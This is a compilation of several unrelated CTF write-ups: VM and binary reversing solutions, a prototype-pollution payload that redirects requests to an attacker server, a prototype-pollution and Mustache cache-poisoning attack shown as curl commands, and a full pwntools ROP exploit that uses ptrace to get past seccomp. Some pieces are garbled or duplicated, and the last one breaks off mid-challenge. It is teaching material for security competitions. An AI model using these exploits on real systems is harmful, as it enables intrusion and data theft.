```python# Check whether an input is a key candidate and return the intArray/r value to order it properlydef runCheck(vec): # Decrypted matrix dumped at runtime from the binary at address 0x1337208 (they have to be decrypted) m = [ [0xffffffffede5dafe,0xfffffffff5f743dd,0x00000000067b8bda,0x0000000017ff1621,0xffffffffe760a0d9,0x0000000010125448,0x000000000d7e1113,0x0000000008000969], [0xffffffffeb0a3540,0xffffffffc88f3a85,0x000000000257f745,0x0000000009c7fd78,0xfffffffffe19c100,0x0000000012267980,0x000000000c8505f6,0x0000000010f9c0b7], [0xffffffffd9df8aaa,0xffffffff04d141e9,0x0000000021f324fc,0x0000000019648e56,0x00000000055412ed,0x000000002d5b225c,0x000000001a2343fa,0x000000002dd83916], [0xffffffffe5a0af81,0xffffffff5cc74a0f,0x0000000008962a72,0x00000000287392d5,0x0000000000315867,0x0000000016f6d77f,0x0000000014fde34c,0x0000000020dc2c52], [0xffffffffdafbdc02,0xfffffffed5a8296b,0x000000000cd46b7c,0x0000000014a3b1ca,0x000000002805c014,0x000000002efa4dc8,0x00000000158fd422,0x00000000396d3f69], [0xffffffffcb6b92d2,0x000000000314edfd,0xfffffffffe6a83a7,0x000000000e96bbe0,0xffffffffe7df78e9,0x00000000320c4adb,0x0000000012e0feae,0x000000000f42b54d], [0xffffffffc8ebcae5,0xffffffffa166c5b8,0x0000000002317c38,0x000000001bc27472,0xffffffffecd4fb9e,0x000000001e294aef,0x0000000039380937,0x00000000179b36a2], [0xffffffffd300432f,0xffffffff2d0c1e3c,0x00000000069f76d9,0x0000000017d259ce,0x0000000000d02195,0x000000002bd9cf95,0x000000001b70eed3,0x00000000426dc286] ] m2 = [ [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8, [0] * 8]
# Transpose for i in range(8): for j in range(8): m2[i][j] = signOffset(m[j][i], 64) m = m2
# At first it does matrix multiplication res = mult(m, vec)
# then it calculates an intArray value which is later used for ordering the parts r = signOffset((res[0] + 92) // (vec[0] * 100000000), 32) # reject negative values if(r <= 0): return None
# check that for each vector the following property holds # To solve this we try scalars of the left eigenvectors as they # fulfill some ratio property this is verifying. # tbh no clue I'm not big brain enough for this math stuff I only rev for i in range(8): tmp = r * (vec[i] * 100000000) - res[i] r23 = (tmp >> 0x1f) x = (r23^tmp) - r23 # values above 0x5c are rejected if x > 0x5c: return None # whooo we have a key candidate return (vec, r)```
### Solving
Ok, so now we know how the VM works, how the key has to look like and how it is verified.This was a part were we where stuck on for quite a while as we knew how everything works but didn't know how to generate something that fulfills the requirements.We worked a lot of hours on refining z3 scripts, bruteforcing and debugging our reimplementations for mistakes, until at some point my teammate Aaron saved the day (like usual) and figured out that using a (near) intger multiple of the eigenvectors of the global matrix fulfills the requirements.I have to admit that I don't really get why they do, or how he came to the conclusion but it works.
In practice this means we open up sage and give it the sign extended decrypted global matrix:
```python"""M = m = Matrix([[-303703298, -168344611, 108760026, 402593313, -413097767, 269636680, 226365715, 134220137], [-351652544, -930137467, 39319365, 164101496, -31866624, 304511360, 210044406, 284803255], [-639661398, -4214144535, 569582844, 426020438, 89395949, 760947292, 438518778, 769145110], [-442454143, -2738402801, 144058994, 678662869, 3233895, 385275775, 352183116, 551300178], [-621028350, -5005366933, 215247740, 346272202, 671465492, 788155848, 361747490, 963460969], [-882142510, 51703293, -26573913, 244759520, -404784919, 839666395, 316735150, 256030029], [-924071195, -1587100232, 36797496, 465728626, -321586274, 506022639, 959973687, 396048034], [-754957521, -3539198404, 111113945, 399661518, 13640085, 735694741, 460386003, 1114489478]])M = M.transpose() M.eigenvectors_left()```
Then put those into a small script to try their multiple on the check:
```python# Calculate possible key candidates from the eigenvectorsdef solutionsFromEigenvectors(): # matrix taken from sage eigvectors = [(9.99999983497936e7, [(1, 0.169491520858711, 0.084745751546947, 0.2881355875831414, 0.288135581541381, 0.847457626194665, 0.711864401602224, 0.2711864305805604)], 1), (2.000000038798546e8, [(1, 0.952381012280966, 2.52380974358845, 1.238095290338078, 2.38095253294195, 0.714285692436905, 1.71428579754716, 2.190476355812853)], 1), (3.000000002486778e8, [(1, 0.56249999554731, 0.6562499830366, 1.781250008071057, 1.78124998926551, 1.25000000457964, 0.93749998508704, 0.718749983851072)], 1), (3.999999995713364e8, [(1, 2.24999981996979, 13.4999990261208, 0.249999948696195, 8.2499992358664, 4.49999968632836, 7.2499994613724, 0.499999967815939)], 1), (4.999999990500059e8, [(1, 0.34693878212022, 1.1020408347751, 0.59183675570741, 0.1428571707193, 1.0204081565988, 0.7755102140302, 0.83673471316265)], 1), (5.999999984377138e8, [(1, 0.6896552117266, 2.034482866964, 1.96551735699380, 1.9310346670275, 0.3793103236556, 2.0000000738185, 1.86206907715878)], 1), (6.99999998618207e8, [(1, 1.5833334555942, 3.500000285201, 1.75000013943522, 4.333333783508, 3.4166668726864, 2.333333445203, 3.91666698372095)], 1), (8.00000001844412e8, [(1, 0.6000000012274, 0.899999994546, 0.4333333263700, 0.333333323750, 2.0000000104400, 1.633333338514, 1.19999999876425)], 1)]
solutions = [] for eigvec in eigvectors: row = list(*eigvec[1]) # iterate for some multipliers for i in range(1, int(128/max(row))): floatVersion = [v*i for v in row] intVersion = [round(r) for r in floatVersion] # check if key candidate checkRes = runCheck(intVersion) if checkRes != None: solutions.append(checkRes) return solutions```
From this we get 8 key candidates `[([59, 10, 5, 17, 17, 50, 42, 16], 1), ([21, 20, 53, 26, 50, 15, 36, 46], 2), ([32, 18, 21, 57, 57, 40, 30, 23], 3), ([4, 9, 54, 1, 33, 18, 29, 2], 4), ([8, 18, 108, 2, 66, 36, 58, 4], 4), ([49, 17, 54, 29, 7, 50, 38, 41], 5), ([29, 20, 59, 57, 56, 11, 58, 54], 6), ([12, 19, 42, 21, 52, 41, 28, 47], 7), ([30, 18, 27, 13, 10, 60, 49, 36], 8)]`.
Now if we use the "weirdify" algorithm we reversed earlier, make a reverse lookup table out of it and use that to reconstruct a key (see the vmquacks_revenge.py script for details), we get the solution:

# msfrob
Description: 6b0a444558474b460a5a58454d584b470a5f5943444d0a444558474b460a4d464348490a4c5f44495e4345445904
msfrob is a linux binary that obfuscates all its imports
## Solution
The program takes in one command line argument and then verifies it.Looking at it in Binary Ninja shows that all imported functions show up as `msfrob`.

We can easily manually figure out which `msfrob` calls which function, by settings breakpoint before the call, then setting a breakpoint at `_dl_lookup_symbol_x` and looking at the arguments passed to it.One of the registers will contain a pointer to the original import name.
That way we can recover the original imports:

What the program is doing is, it is taking the input and compressing it with deflate and encrypting it with AES 20 times. Then it is comparing the output against a fixed buffer.By dumping the buffer, key and iv we can easily inverse this process:
```pythonfrom Crypto import Randomfrom Crypto.Cipher import AESimport zlib
# from @0x2020data = bytes.fromhex("4cef34fad125454be7ad99c4b1d7f62c5bf313bfcc031d1681db5038a8b6dd20902a6ea2effe6b8fdb806f7074eb7d36e4dc87f320ebe50f3e283558ad07d23dd85d41355e4f419b9185e15c18b8f65adf08353104d2e04464fc06c6d65b98204f1c1eb820d59eda81d6365b5560a82cf2da5792c9e014f0434b2e11d37067a855087dc7764f77e8bef3190484b2a020dc4cd2c894179b754f783535e662742d0ca834f190a9fd59d4f824b93b94bd79c778b956c1e3b62e173a32f94e47f909c4e8fa49536a0bb9360b2b5cc9f33963b3d1ac706cf14642bc0b913a649577ec240164d298e1bf3817d4d03916131d34a41afa335f8821d55c4ebf339de12acc4715039da685362d6d31013d9508dc72d3f6f765b7c0955df4c9a7fadcef5136c11de608eb8aec5dc95a3dd39aa6ad2899248892402dab1259f88447b2b948f78f1e3264ba24d23df3c484bdd2e10107a17618451e549193116e41547e40e702")
# from @0x2180key = bytes.fromhex("d4f5d967152f777f6c7c4673f6f092f077503b300c878a0d9c1d72a26546c8dc")# from @0x40d0iv = bytes.fromhex("00000000000000000000000000000000")
for i in range(0x14): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(data) decompressed = zlib.decompress(decrypted, bufsize=0x70) data = decompressed print(len(decrypted), len(decompressed), data)```
Giving us the flag: `corctf{why_w0u1d_4ny0n3_us3_m3mfr0b??}`
# turbocrab
Description: blazinglyer faster Turbocrab is a Rust binary with symbols that assembles code at runtime and then executes it to take input and verify it.
## Solution
Looking into the binary and following the functions by how they are named `turbocrab::execute_shellcode::h6984ce5848b31780` shows that some code is assembled and then a dynamically created function is exected.

This is the shellcode the binary is executing, it is always the same so breakpointing there and dumping it is a good idea.

A quick look into the binary shows that it decompiles absolutely horrible. Luckily we don't need to do that.The shellcode is relatively small so by scrolling through it you can find:

This is the only comparison done on memory content (or at least the only one that is easily spotable).A bit of trying around shows that characters are transformed independent of each other and each character is always transformed the same way.By setting a breakpoint there, trying different inputs and then dumping the transformed output we can build a table to reverse the compare buffer:

The addresses in the binary of the screenshot are a bit more static because I made a standalone binary out of the extracted shellcode. This is not necessary for solving it but made it easier to analyze and test.
```python# compare values from binary in turbocrab::execute_shellcode::h6984ce5848b31780arr = [0x52,0x5e,0x43,0x52,0x49,0x57,0x4a,0x4d,0x3c,0x36,0x2e,0x5b,0x35,0x49,0x2e,0x47,0x60,0x2e,0x43,0x33,0x47,0x33,0x43,0x42,0x35,0x5f,0x56,0x3f,0x50]
# hook comparison, dump compares, solves"""7ffff7ffb1fc 418a00 mov al, byte [r8]7ffff7ffb1ff 4889c3 mov rbx, rax7ffff7ffb202 418a01 mov al, byte [r9]7ffff7ffb205 48b9020000000000…mov rcx, 0x27ffff7ffb20f 4839c3 cmp rbx, rax7ffff7ffb212 7409 je 0x7ffff7ffb21d"""
# dumped input -> encoded pairskeys = ""values = []
keys += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"values += [0x34,0x33,0x32,0x39,0x38,0x37,0x36,0x3d,0x3c,0x3b,0x3a,0x41,0x40,0x3f,0x3e,0x25,0x24,0x23,0x22,0x29,0x28,0x27,0x26,0x2d,0x2c,0x2b]
keys += "abcdefghijklmnopqrstuvwxyz"values += [0x54,0x53,0x52,0x59,0x58,0x57,0x56,0x5d,0x5c,0x5b,0x5a,0x61,0x60,0x5f,0x5e,0x45,0x44,0x43,0x42,0x49,0x48,0x47,0x46,0x4d,0x4c,0x4b]
keys += "_-{}"values += [0x2e,0x20,0x4a,0x50]
keys += "0123456789"values += [0x34,0x35,0x32,0x33,0x38,0x39,0x36,0x37,0x3c,0x3d]
keys += "!? =()[]/&%$# +-.:,;<>|~*'"values += [0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
#keys += "@!? =()[]/&%$# +-.:,;<>|~*'"#values += [0x35, 0x14,0x3f,0x15,0x21,0x1d,0x1c,0x2a,0x30,0x1e,0x17,0x18,0x19,0x12,0x15,0x1a,0x20,0x1f,0x3a,0x21,0x3b,0x11,0x3e,0x51,0x4f,0x1b,0x16]
cMap = {}for i in range(len(values)): cMap[values[i]] = keys[i] print(''.join([cMap[v] for v in arr]))```
Notable here is that the encoded output is not unique in relation to the input, but only one flag was accepted, so some trying/bruteforcing around with the collisions may be needed to get the the most reasonable looking flag: `corctf{x86_j1t_vm_r3v3rs1ng?}` |
TL;DR - `make_order.js` was vulnerable to prototype pollution, which could be exploited with the following JSON to redirect the request to our server and provide a JWT made by us with a "none" algorithm```{ "__proto__": { "length": 0, "baseURL":"https://our-server" }}``` read more here - https://blog.xss.am/2022/08/offzone-delicious-and-point/ |
> TLDR:>> First pollute `Object.__proto__[0]` with help of `console.table` (CVE-2022-21824)> Secondly pollute mustache parser cache (`Writer.prototype.parse`)
Explanation:
```js/* Update memo */if (ip in memo) { memo[ip][index] = new_memo; res.json({ status: "success", result: "Successfully updated" });} else { res.json({ status: "error", result: "Memo not found" });}```
Brief analysis reveals vuln of square bracket notation with user controlled input.
> See: [https://github.com/nodesecurity/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md](https://github.com/nodesecurity/eslint-plugin-security/blob/main/docs/the-dangers-of-square-bracket-notation.md)
Since `ip in memo` will return `true` for any property of object (that's why you should use Map-like instead) we can modify `Object.__proto__`. The only problem is that we can't change `ip` not being and admin, or can we?
```jsconst getAdminRole = (req) => { /* Return array of admin roles (such as admin, developer). More roles are to be added in the future. */ return isAdmin(req) ? ["admin"] : [];};
/* Admin can edit anyone's memo for censorship */if (getAdminRole(req)[0] !== undefined) { ip = req.body.ip;}```
That's looks strange and very usnsafe. The common usage of prototype pollution is extending empty objects with some properties. So the only thing we need is to somehow assign any value to `Object.__proto__[0]`. Futher analysis reveals another strange part of code
```js/* We don't need to call isAdmin here because only admin can see console log. */if (req.body.debug == true) { console.table(memo, req.body.inspect);}```
Two things that we should take into account. There is no admin-only guards. And usage of `console.table`. In contrast to `console.log`, `console.table` is rarely used and much more complex inside. Quick search `console.table + vulns` gives us CVE-2022-21824.
> See: [https://nodejs.org/en/blog/vulnerability/jan-2022-security-releases/#prototype-pollution-via-console-table-properties-low-cve-2022-21824](https://nodejs.org/en/blog/vulnerability/jan-2022-security-releases/#prototype-pollution-via-console-table-properties-low-cve-2022-21824)
So let's start breaking server. Firstly we need create an empty memo since we need non-empty object as first paramter of `console.table` to use this vuln.
```bashcurl --location --request POST 'http://web2.2022.cakectf.com:39073/new' \--header 'Authorization: Basic <TOKEN>' \--header 'Content-Type: application/json' \--data-raw '{}'```
And then just
```bashcurl --location --request GET 'http://web2.2022.cakectf.com:39073/show' \--header 'Authorization: Basic <TOKEN>' \--header 'Content-Type: application/json' \--data-raw '{ "debug": true, "inspect": ["__proto__"]}'```
`console.table` will pollute `Object.__proto__[0]` with empty string. Don't worry about error – it's ok.Now `getAdminRole(req)[0] !== undefined` will aways `true`, and finally we can replace `ip` with any value.
But still there is no way to retrieve flag. We can't override properties using (such) prototype pollution, so `Object.__proto__.is_admin = true` wouldn't work. And since we can't modify a data to be rendered let's modify a way it's rendered. Thanks God, app uses `Mustache` as template engine. It's only 776 lines of source code including a lot of comments. What we are looking for is undefined but somehow used property. In general case it may be some config objects with optional properties, or some caching things. Let's begin reversing from `mustache.render`
```jsmustache.render = function render(template, view, partials, config) { if (typeof template !== "string") { throw new TypeError( 'Invalid template! Template should be a "string" ' + 'but "' + typeStr(template) + '" was given as the first ' + "argument for mustache#render(template, view, partials)" ); }
return defaultWriter.render(template, view, partials, config);};```
Unfortunately, both partials and config are `undefined` and there is nothing we can deal with it. Let's dive deeper – `defaultWriter.render`
```jsWriter.prototype.render = function render(template, view, partials, config) { var tags = this.getConfigTags(config); var tokens = this.parse(template, tags); var context = view instanceof Context ? view : new Context(view, undefined); return this.renderTokens(tokens, context, partials, template, config);};```
And again we can't affect `this.getConfigTags(config);`, but maybe we can do something with parsing? Let's see
```jsWriter.prototype.parse = function parse(template, tags) { var cache = this.templateCache; var cacheKey = template + ":" + (tags || mustache.tags).join(":");
var isCacheEnabled = typeof cache !== "undefined"; var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;
if (tokens == undefined) { tokens = parseTemplate(template, tags); isCacheEnabled && cache.set(cacheKey, tokens); } return tokens;};```
Oh yeah, that's exactly we looking for. Despite `cache.get` looks as `Map-like` class, actually it just a stupid wrapper around `Object`, that means we can easily pollute cache.
```jsfunction Writer() { this.templateCache = { _cache: {}, set: function set(key, value) { this._cache[key] = value; }, get: function get(key) { return this._cache[key]; }, clear: function clear() { this._cache = {}; }, };}```
Let's add some `console.log`'s to discover what tokens are cached.
```json[ ["text", "<omitted>", 0, 464], [ "#", "is_admin", 484, 497, [ ["text", "FLAG: ", 498, 530], ["name", "flag", 530, 538], ["text", "\n", 538, 546] ], 566 ], [ "^", "is_admin", 600, 613, [["text", "<mark>Access Denied</mark>\n", 614, 661]], 681 ], ["text", "<omitted>", 695, 775]]```
Okay, because of offsets it may seems a little bit difficult to fake cache, but actually only thing we need to change is a `#` to `^` in second token. This change will inverse render condition so flag will renders for non-admin users. The last step is restart server to clear a cache, reproduce steps above, fill cache with fake tokens and finally open `/admin.php`
```bashcurl --location --request POST 'http://web2.2022.cakectf.com:39073/edit' \--header 'X-Forwarded-For: __proto__' \--header 'Authorization: Basic <TOKEN>' \--header 'Content-Type: application/json' \--data-raw '{ "ip": "__proto__", "index": "\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n Please leave this page if you'\''re not the admin.\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n \n {{#is_admin}}\n FLAG: {{flag}}\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n \n </article>\n </main>\n </body>\n</html>\n:{{:}}", "memo": [[ "text", "\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n Please leave this page if you'\''re not the admin.\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n \n", 0, 464 ], [ "^", "is_admin", 484, 497, [ ["text", " FLAG: ", 498, 530], ["name", "flag", 530, 538], ["text", "\n", 538, 546] ], 566 ], [ "^", "is_admin", 600, 613, [["text", " <mark>Access Denied</mark>\n", 614, 661]], 681 ], [ "text", " \n </article>\n </main>\n </body>\n</html>\n", 695, 775 ] ]}'```
Please leave this page if you'\''re not the admin.
\n {{#is_admin}}\n FLAG: {{flag}}\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n
Please leave this page if you'\''re not the admin.
\n", 0, 464 ], [ "^", "is_admin", 484, 497, [ ["text", " FLAG: ", 498, 530], ["name", "flag", 530, 538], ["text", "\n", 538, 546] ], 566 ], [ "^", "is_admin", 600, 613, [["text", " <mark>Access Denied</mark>\n", 614, 661]], 681 ], [ "text", "
Flag: `CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}` |
### Asian Parents
was a pwn challenge from Balsn Ctf 2022.

so let's start directly analysing the main() loop where all the magic happens,
**Here is the C reversed code of function main():**
```cint __cdecl main(int argc, const char **argv, const char **envp){ char buf[2]; // [rsp+Eh] [rbp-92h] BYREF char s[136]; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 canary; // [rsp+98h] [rbp-8h]
canary = __readfsqword(0x28u); memset(s, 0, 128); init(); fwrite("==================================\n", 1uLL, 0x23uLL, stdout); fwrite(" Welcome to FAILURE MANAGEMENT!!!\n", 1uLL, 0x22uLL, stdout); fwrite("==================================\n", 1uLL, 0x23uLL, stdout); assign_work(s); print_work(s); pipe(pipe2child); pipe(pipe2parent); child = fork(); if ( child == -1 ) byebye(); if ( child ) { memset(s, 0, 0x80uLL); seccomp_parent(); while ( !end ) { menu(); read(0, buf, 2uLL); if ( buf[0] == '3' ) { write_and_sync(pipe2child_2_4054, "3", 1); read(pipe2parent[0], buf, 2uLL); fwrite("Very effective!\n", 1uLL, 0x10uLL, stdout); end = 1; } else { if ( buf[0] > '3' ) goto LABEL_16; if ( buf[0] == '2' ) { print_notes(s); } else { if ( buf[0] > '2' ) goto LABEL_16; if ( buf[0] == '1' ) { take_notes(s); } else if ( buf[0] != 10 ) { if ( buf[0] != '0' ) {LABEL_16: write_and_sync(pipe2child_2_4054, "5", 1); byebye(); } write_and_sync(pipe2child_2_4054, "0", 1); read(pipe2parent[0], buf, 2uLL); } } } } } else { seccomp_child(); while ( !end ) { if ( (int)read(pipe2child[0], buf, 1uLL) > 0 ) { if ( buf[0] == '0' ) { assign_work(s); print_work(s); write_and_sync(pipe2parent_2_405C, "OK", 1); } else { if ( buf[0] != '3' ) exit(0); fwrite("Your failure is panicking\n", 1uLL, 0x1AuLL, stdout); write_and_sync(pipe2parent_2_405C, "OK", 1); end = 1; } } } } return 0;}```
**So what it is about?**
the program creates two processes, one parent and one child, and just before forking it creates two pipes for the processes to communicate.
Each process has a different seccomp applied.
**Here is the parent seccomp:**

It allows `read`, `write`, `exit`, `wait4`, `kill`, `ptrace`, and `exit_group` syscalls.
**Here is the child seccomp:**

It allows `read`, `write`, `exit`,`clock_nanosleep`, and `exit_group` syscalls.
using another syscall that these one, will return `TRACE`,
and what is this `TRACE` thing???
let's have a look at the seccomp manual:

so a tracer needs to be present, or the syscall will fail miserably..
so the tracer will be the parent process, as the `ptrace` syscall is authorized by its seccomp, and it will trace the child process.
when the tracer intercept the syscall, it can alter its registers, forbid it, or just use `PTRACE(PTRACE_CONT,pid,0,0)` to continue execution, and execute the syscall.. that's what we will do.
**The program present a menu:**

the option '1' --> "Takes notes on managing failure", call the function `takes_notes()` which is a buffer overflow for parent, it will read up to 512 bytes in the char `s[136]` buffer on stack, so we will use it to send a ROP to the parent process
the option '0' --> "Assign other work to your failure", pass the option '0' to the child via the pipe, and the child will call the function `assign_notes()` which is also a buffer overflow for the child this time, it will read up to 512 bytes in the char `s[136]` buffer on stack, so we will use it to send a ROP to the child process
the option '2' --> "Read notes on managing failure", will print the `char s[136]` buffer to `stdout`, so we will use this with the buffer overflow to leak the various addresses on stack that we need for the ROP, a libc address to calculate libc base address, a program address to calculate the program base address, and stack address, and last but not least, we will leak the canary with it...
finally
the option '3' --> "Give your failure EMOTIONNAL DAMAGE" will exit from the input loop, and return to our ROP
**So what is the exploitation plan ?**
+ well first we get our leaks with the Read Notes option...+ then we send the ROP to the child, it will begin by a `sleep(1)` to wait for the parent to setup, then it will open() / read() / write() flag file to stdout..+ then we send the ROP to the parent, it will first call `ptrace(PTRACE_SEIZE, child, NULL, PTRACE_O_TRACESECCOMP)`, to intercept TRACE seccomp events..then will call `wait()` to wait for child events, then when an event is received it will call `ptrace(PTRACE_CONT, child, NULL, NULL)` to resume child execution and let it execute the syscall, after that we will loop the ROP (by modifying `rsp`), to the `wait()` call
so when the child will call `open()`, the parent will authorize it, and it will spit out the flag file to stdout..
where we will read it.. a bit like that:

the remote docker use ubuntu 22.04
**and here is the commented(more or less) exploit:**
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'error'
exe = ELF('./chall')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # libc from ubuntu 22.04
host, port = "asian-parents.balsnctf.com", "7777"
if args.REMOTE: p = remote(host,port)else: p = process(exe.path)
def corrupt_parent(p, payload): p.sendlineafter('> ', '1') p.sendafter('> ', payload) p.sendlineafter('> ', '3')
def corrupt_child(p, payload): p.sendlineafter('> ', '0') p.sendafter('> ', payload)
# leak canaryp.sendafter('> ', 'A'*0x89)p.recvuntil('A'*0x89)canary = u64(b'\x00'+p.recv(7))print('canary = '+hex(canary))# leak libc retmain address to calculate libc basep.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0x98)p.sendlineafter('> ', '2')p.recvuntil('A'*0x98, drop=True)libc.address = u64(p.recv(6)+b'\x00\x00') - 0x29d90print('libc base = '+hex(libc.address))# leak prog address to calculate prog basep.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0xa8)p.sendlineafter('> ', '2')p.recvuntil('A'*0xa8, drop=True)exe.address = u64(p.recv(6)+b'\x00\x00') - 0x18efprint('prog base = '+hex(exe.address))# leak stack address, to know where our ROP isp.sendlineafter('> ', '1')p.sendafter('> ', 'A'*0xb8)p.sendlineafter('> ', '2')p.recvuntil('A'*0xb8, drop=True)rop_address = u64(p.recv(6)+b'\x00\x00') - 0x110print('rop stack address = '+hex(rop_address))
rop = ROP(libc)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rcx = rop.find_gadget(['pop rcx', 'ret'])[0]pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]mov_rsp_rdx = libc.address + 0x000000000005a170 # mov rsp, rdx ; retxchg_eax_esi = libc.address + 0x000000000004dab6 # xchg eax, esi ; retxchg_eax_edi = libc.address + 0x000000000014a385 # xchg eax, edi ; retxchg_eax_edx = libc.address + 0x00000000000cea5a # xchg eax, edx ; retmov_rax_rdi = libc.address + 0x000000000008f4e4 # mov rax, qword ptr [rdi + 0x68] ; retmov_rdi_rax = libc.address + 0x000000000011d1ea # mov qword ptr [rdi], rax ; mov qword ptr [rdi + 8], rsi ; ret
# construct the child ROPc_rop = b'C'*0x88 + p64(canary) + p64(0)c_rop += p64(pop_rdi)# sleep the child to wait for parent using sleep() (sleep will call nanosleep under the hood)c_rop += p64(1)c_rop += p64(libc.sym.sleep)
len_rop = 18*8 # distance of filename from beginning of rop# open()c_rop += p64(pop_rdi)c_rop += p64(rop_address+len_rop)c_rop += p64(pop_rsi)c_rop += p64(0)c_rop += p64(libc.sym.open)# read filec_rop += p64(xchg_eax_edi) # put open returned fd in edic_rop += p64(pop_rsi)+p64(exe.bss(0xa00))+p64(pop_rdx_r12)+p64(100)*2+p64(exe.sym.read)# write its content to stdout with puts()c_rop += p64(pop_rdi)+p64(exe.bss(0xa00))+p64(libc.sym.puts)if args.REMOTE: c_rop += b'/home/asianparent/flag.txt\x00'else: c_rop += b'flag.txt\x00'
corrupt_child(p, c_rop)
# parent payloadp_rop = b'A'*0x88+p64(canary)+p64(0xdeadbeef)# ptrace(PTRACE_SEIZE, child, NULL, PTRACE_O_TRACESECCOMP)p_rop += p64(pop_rdi)+p64(exe.sym['child']-0x68)+p64(mov_rax_rdi) # read child pid from .bssp_rop += p64(xchg_eax_esi) # esi = childp_rop += p64(pop_rdi)p_rop += p64(16902) # PTRACE_SEIZEp_rop += p64(pop_rdx_r12)p_rop += p64(0)*2p_rop += p64(pop_rcx)p_rop += p64(0x80) # PTRACE_O_TRACESECCOMPp_rop += p64(libc.sym.ptrace)# waitp_rop += p64(pop_rdi) + p64(0x0) + p64(libc.sym.wait)# ptrace(PTRACE_CONT, child, NULL, NULL)p_rop += p64(xchg_eax_esi) # esi = childp_rop += p64(pop_rdi)p_rop += p64(7) # PTRACE_CONTp_rop += p64(pop_rdx_r12)p_rop += p64(0)*2p_rop += p64(pop_rcx)p_rop += p64(0)p_rop += p64(libc.sym.ptrace)# loop to ROP --> waitp_rop += p64(pop_rdx_r12)+p64(rop_address+(12*8))+p64(0)+p64(mov_rsp_rdx)
corrupt_parent(p, p_rop)
p.interactive()```
**nobodyisnobody**, *still pwning things...* |
### Chall Desc : Animal Cruelty
```pyThese animals were trapped inside a picture! Can you name all of them in order to help them out?
What is the flag?!
Flag format: IGE{XXXXXXXXXXXX}
Credit: Christoph T.```
---
Soln :

We are given an image with animals. Using reverse image search, we don't get any relevant ciphers or info regarding crypto challenges.
Using intution and after some observation, I figured out it is using the first letter of each animal's name as a character.
Examples : tiger becomes t, snake becomes s, eagle becomes e etc.
Deciphering the code, we get : saveemallpls
#### THE FLAG : IGE{saveemallpls}
---
Thank you |
### Chall Desc : All your base are belong to us
```pyWe found what is sometimes called a “meme” on Earth which says “All your base are belong to us” in an image that is named rather oddly, can you take a look?
Figure out what this is and retrieve the flag.
tU3/k>!{l$TsJ_ap(U.JM(F|6UVs0P0od}Nf[*t;H
Flag format: IGE{XX_XX_XXX_XXX_XXXX_XXXX_XXXX}
P.S. This is the most based challenge btw```
---
This is a challenge where we use cipher identifier of dcode.fr : https://www.dcode.fr/cipher-identifier
Using that, we get to know it is `Base 91` cipher :
Decoding the given ciphertext we get the flag.
#### THE FLAG : IGE{oh_no_you_got_your_base_back}
---
Thank you |
*This is a walkthrough: straight from my mind step-by-step to the discord channel. Straight from discord to here:*
-----
Should be easy (50 points, 146 Solves), is a web app written in next.js.
-----
It's not like I understand much yet, but there is a `pages/api/hello.js` which references a `globalVars.SECRET`:
```javascriptimport globalVars from '../../utils/globalVars'
export default function handler(req, res) { // res.status(200).json({ name: globalVars.FLAG }) res.status(200).json({ name: globalVars.SECRET })}```
----
http://my-first-web.balsnctf.com:3000/api/hello leads to a youtube video. Probably a rickroll
```json{"name": "here is my secret: https://www.youtube.com/watch?v=jIQ6UV2onyI"}```
-----
Nope. It's 10 hours of Nyan Cat instead. 1080p.has 3'327'333 views so it is not a video with a flag hidden inside.
So it looks like we want globalVars.FLAG, not globalVars.SECRET
-----
in `index.js` there is something accessing another globalVar:```html <h1 className={styles.title}> Welcome to {globalVars.TITLE} </h1>```so I figure we can access `globalVars.FLAG` in a similar way if we find a way to inject something somewhere.I don't see where though.
-----
`next.js` version seems up to date.
The `_app.js` looks pretty much like the default thing to do, as per [https://nextjs.org/docs/advanced-features/custom-app]( https://nextjs.org/docs/advanced-features/custom-app).
-----
*A Team Member chimes in:*
> Reminds me of> 
lol wtf
but idk whether the flag is even in the pageProps. it is an imported global var
*I started looking at the client-side source now, instead of the server-side files.*
-----
**flagged ✔**
I had a look at the Network tab and opened all the javascript files it loaded dynamically to look what they do. Some were minified, so I just searched for a part of the secret youtube link and did find it in http://my-first-web.balsnctf.com:3000/_next/static/chunks/pages/index-1491e2aa877a3c04.js - right next to all the other global variables
```javascript{default:function(){return l}});var d=c(5893),e=c(9008),f=c.n(e),g=c(5675),h=c.n(g),i=c(214),j=c.n(i),k={TITLE:"My First App!",SECRET:"here is my secret: https://www.youtube.com/watch?v=jIQ6UV2onyI",FLAG:"BALSN{hybrid_frontend_and_api}"};function l()``` |
### Chall Desc : Veni, vidi, vici.
---
```pyIn adventuring, we often come across many ancient Earthly artifacts that we must decipher to be able to sell for the right price. Normally, this takes years of experience to master, but you might be able to pick up this skill fairly quickly, so take a look!
You turn over the stone tablet handed to you and it reads czkkcv_trvjrij_zj_xffu
